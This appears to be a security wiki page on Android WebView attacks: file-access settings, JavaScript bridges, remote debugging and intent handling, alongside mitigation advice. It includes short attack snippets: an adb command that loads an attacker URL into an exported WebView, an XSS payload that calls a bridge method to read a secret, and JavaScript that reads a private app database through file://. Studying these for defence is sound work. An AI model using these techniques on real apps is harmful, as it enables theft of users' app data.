# Webview Attacks

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## Guide on WebView Configurations and Security

### Overview of WebView Vulnerabilities

A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.

![WebView Example](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-635ddedaf409cba9ed0dc0a0b38069fdcd922702%2Fimage%20\(1190\).png?alt=media)

### **File Access in WebViews**

By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ\_EXTERNAL\_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).

#### **Deprecated Features: Universal and File Access From URLs**

* **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
  * To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
  * To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
* **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
  * Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.

#### **Secure File Loading**

For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.

* Check with `getAllowFileAccess()`.
* Enable or disable with `setAllowFileAccess(boolean)`.

#### **WebViewAssetLoader**

The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.

### loadUrl

This is a common function used to load arbitrary URLs in a webviwe:

```java
webview.loadUrl("<url here>")
```

Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.

### **JavaScript and Intent Scheme Handling**

* **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
* **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support\_url" that could be exploited to execute cross-site scripting (XSS) attacks.

![Vulnerable WebView](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-052d3216592f83cb420187091c3ce2e769c1c9a0%2Fimage%20\(1191\).png?alt=media)

Exploitation example using adb:

{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
{% endcode %}

### Javascript Bridge

A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.

* **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.

#### Implementing a JavaScript Bridge

* **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:

```javascript
@JavascriptInterface
public String getSecret() {
    return "SuperSecretPassword";
};
```

* JavaScript Bridge is enabled by adding an interface to the WebView:

```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```

* Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:

```html
<script>alert(javascriptBridge.getSecret());</script>
```

* To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.

### Reflection-based Remote Code Execution (RCE)

* A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.

### Remote Debugging

* **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.

#### Enabling Remote Debugging

* Remote debugging can be enabled for all WebViews within an application by:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}
```

* To conditionally enable debugging based on the application's debuggable state:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}
```

## Exfiltrate arbitrary files

* Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:

```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```

## References

* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)

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